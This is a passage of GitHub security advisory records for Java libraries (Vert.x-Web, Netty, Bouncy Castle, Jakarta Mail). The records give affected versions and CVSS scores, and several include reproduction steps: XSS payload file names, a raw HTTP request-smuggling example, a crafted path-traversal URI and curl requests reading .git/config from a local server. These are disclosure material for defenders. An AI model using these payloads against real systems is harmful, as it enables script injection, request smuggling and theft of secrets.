"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-45P5-V273-3QQR
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2026-01-21 16:37
VLAI
Summary
Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names
Details
Description
- In the
StaticHandlerImpl#sendDirectoryListing(...)method under thetext/htmlbranch, file and directory names are directly embedded into thehref,title, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File:
vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java - Lines:
- 709–713:
normalizedDiris constructed without escaping - 714–731:
<li><a ...>elements insert file names directly into attributes and body without escaping - 744: parent directory name construction
- 746–751:
{directory},{parent}, and{files}are inserted into the HTML template without escaping
- 709–713:
- File:
Reproduction Steps
-
Prerequisites:
- Directory listing is enabled using
StaticHandler
(e.g.,StaticHandler.create("public").setDirectoryListing(true)) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using
-
Create a malicious file name (example for Unix-based OS):
- Create an empty file in
public/with one of the following names: <img src=x onerror=alert('XSS')>.txt- Or attribute injection:
evil" onmouseover="alert('XSS')".txt - Example:
bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
- Create an empty file in
-
Start the server (example):
- Routing:
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true)); - Server:
vertx.createHttpServer().requestHandler(router).listen(8890);
- Routing:
-
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close -
Example response excerpt:
html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> -
When accessing
/public/in a browser, the unescaped file name is interpreted as HTML, and event handlers such asonerrorare executed.
Potential Impact
-
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
-
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11966"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:11Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "LOW"
},
"details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n - Lines:\n - 709\u2013713: `normalizedDir` is constructed without escaping\n - 714\u2013731: `\u003cli\u003e\u003ca ...\u003e` elements insert file names directly into attributes and body without escaping\n - 744: parent directory name construction\n - 746\u2013751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n - Directory listing is enabled using `StaticHandler` \n (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n - Create an empty file in `public/` with one of the following names:\n - `\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt`\n - Or attribute injection: `evil\" onmouseover=\"alert(\u0027XSS\u0027)\".txt`\n - Example:\n ```bash\n mkdir -p public\n printf \u0027test\u0027 \u003e \"public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n ```\n\n3. Start the server (example):\n - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n ```\n GET /public/ HTTP/1.1\n Host: 127.0.0.1:8890\n Accept: text/html\n Connection: close\n ```\n\n5. Example response excerpt:\n ```html\n \u003cul id=\"files\"\u003e\n \u003cli\u003e\n \u003ca href=\"/public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n title=\"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\u003e\n \u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\n \u003c/a\u003e\n \u003c/li\u003e\n ...\n \u003c/ul\u003e\n ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n - Possible consequences:\n - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n - Uploaded files are served directly under a publicly accessible directory\n - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE\u20112024\u201132966 \n- CVE\u20112019\u201115603",
"id": "GHSA-45p5-v273-3qqr",
"modified": "2026-01-21T16:37:06Z",
"published": "2025-10-22T19:38:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11966"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names"
}
GHSA-4CX2-FC23-5WG6
Vulnerability from github – Published: 2025-08-13 12:31 – Updated: 2026-05-13 16:23
VLAI
Summary
Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation
Details
Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .
This issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15on"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-fips"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-fips"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8916"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T22:52:42Z",
"nvd_published_at": "2025-08-13T10:15:27Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .\n\nThis issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.",
"id": "GHSA-4cx2-fc23-5wg6",
"modified": "2026-05-13T16:23:20Z",
"published": "2025-08-13T12:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8916"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/310b30a4fbf36d13f6cc201ffa7771715641e67e"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/ff444a479942d88de64004dc82c3ee32a9e9075a"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902025%E2%80%908916"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/S:P/R:U/RE:M/U:Amber",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation"
}
GHSA-9342-92GG-6V29
Vulnerability from github – Published: 2025-07-21 18:32 – Updated: 2026-04-16 18:47
VLAI
Summary
Jakarta Mail vulnerable to SMTP Injection
Details
In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.angus:smtp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.sun.mail:jakarta.mail"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.sun.mail:jakarta.mail"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7962"
],
"database_specific": {
"cwe_ids": [
"CWE-147"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-06T20:44:37Z",
"nvd_published_at": "2025-07-21T18:15:28Z",
"severity": "MODERATE"
},
"details": "In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the\u00a0\\r and \\n UTF-8 characters to separate different messages.",
"id": "GHSA-9342-92gg-6v29",
"modified": "2026-04-16T18:47:48Z",
"published": "2025-07-21T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7962"
},
{
"type": "WEB",
"url": "https://github.com/jakartaee/mail-api/issues/765"
},
{
"type": "WEB",
"url": "https://github.com/jakartaee/mail-api/pull/760"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-ee4j/angus-mail/commit/269099b652a0a5c2fa140f1296a18f0fbbea0d44"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-ee4j/angus-mail"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/67"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/290"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/290#note_5320539"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/09/03/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jakarta Mail vulnerable to SMTP Injection"
}
GHSA-CPHF-4846-3XX9
Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-01-16 20:20
VLAI
Summary
Vert.x Web static handler component cache can be manipulated to deny the access to static files
Details
The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.
The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895
Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html
Mitgation Disabling Static Handler cache fixes the issue.
StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0.CR1"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1002"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T22:51:27Z",
"nvd_published_at": "2026-01-15T21:16:05Z",
"severity": "MODERATE"
},
"details": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);",
"id": "GHSA-cphf-4846-3xx9",
"modified": "2026-01-16T20:20:55Z",
"published": "2026-01-15T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5894"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/5b67f5d17788b2483d277c760f3f8154f9b2fed0"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/d007e7b418543eb1567fe95cf20f5450a5c2d047"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-vertx/vert.x"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Vert.x Web static handler component cache can be manipulated to deny the access to static files"
}
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48
VLAI
Summary
Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions
Details
Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58056"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
GHSA-H5FG-JPGR-RV9C
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2025-10-22 19:38
VLAI
Summary
Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories
Details
Description
There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.
In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:
- Files under hidden directories: For example,
/.secret/config.txt— although.secretis a hidden directory, the fileconfig.txtitself does not start with a dot, so it gets served. - Real-world impact: Sensitive files placed in hidden directories like
.git,.env,.awsmay become publicly accessible.
As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.
Steps to Reproduce
1. Prepare test environment
# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git
# Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config
2. Implement test server
import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;
public class StaticHandlerTestServer extends AbstractVerticle {
@Override
public void start() {
Router router = Router.router(vertx);
// Configure to not serve hidden files
StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
.setIncludeHidden(false)
.setDirectoryListing(false);
router.route("/*").handler(staticHandler);
vertx.createHttpServer()
.requestHandler(router)
.listen(8082);
}
public static void main(String[] args) {
Vertx vertx = Vertx.vertx();
vertx.deployVerticle(new StaticHandlerTestServer());
}
}
3. Confirm the vulnerability
# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK
# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found
# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config
Potential Impact
1. Information Disclosure
Examples of sensitive files that could be exposed:
.git/config: Git repository settings (e.g., remote URL, credentials).env/*: Environment variables (API keys, DB credentials).aws/credentials: AWS access keys.ssh/known_hosts: SSH host trust info.docker/config.json: Docker registry credentials
2. Attack Scenarios
- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
- Especially dangerous for
.git/HEAD,.git/config,.git/objects/*— which may allow full reconstruction of source code.
3. Affected Scope
- Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
- Environments: All OSes (Windows, Linux, macOS)
- Configurations: All applications using
StaticHandler.setIncludeHidden(false)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11965"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:04Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "MODERATE"
},
"details": "# Description\n\nThere is a flaw in the hidden file protection feature of Vert.x Web\u2019s `StaticHandler` when `setIncludeHidden(false)` is configured.\n\nIn the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as \u201chidden\u201d and are blocked from being served. However, this logic fails in the following cases:\n\n- **Files under hidden directories**: For example, `/.secret/config.txt` \u2014 although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served.\n- **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.\n\nAs a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.\n\n# Steps to Reproduce\n\n```bash\n1. Prepare test environment\n\n# Create directory structure\nmkdir -p src/test/resources/webroot/.secret\nmkdir -p src/test/resources/webroot/.git\n\n# Place test files\necho \"This is a visible file\" \u003e src/test/resources/webroot/visible.txt\necho \"This is a hidden file\" \u003e src/test/resources/webroot/.hidden.txt\necho \"SECRET DATA: API_KEY=abc123\" \u003e src/test/resources/webroot/.secret/config.txt\necho \"Git config data\" \u003e src/test/resources/webroot/.git/config\n```\n\n```java\n2. Implement test server\n\nimport io.vertx.core.AbstractVerticle;\nimport io.vertx.core.Vertx;\nimport io.vertx.ext.web.Router;\nimport io.vertx.ext.web.handler.StaticHandler;\n\npublic class StaticHandlerTestServer extends AbstractVerticle {\n @Override\n public void start() {\n Router router = Router.router(vertx);\n\n // Configure to not serve hidden files\n StaticHandler staticHandler = StaticHandler.create(\"src/test/resources/webroot\")\n .setIncludeHidden(false)\n .setDirectoryListing(false);\n\n router.route(\"/*\").handler(staticHandler);\n\n vertx.createHttpServer()\n .requestHandler(router)\n .listen(8082);\n }\n\n public static void main(String[] args) {\n Vertx vertx = Vertx.vertx();\n vertx.deployVerticle(new StaticHandlerTestServer());\n }\n}\n```\n\n```bash\n3. Confirm the vulnerability\n\n# Normal file (accessible)\ncurl http://localhost:8082/visible.txt\n# Result: 200 OK\n\n# Hidden file (correctly blocked)\ncurl http://localhost:8082/.git\n# Result: 404 Not Found\n\n# File under hidden directory 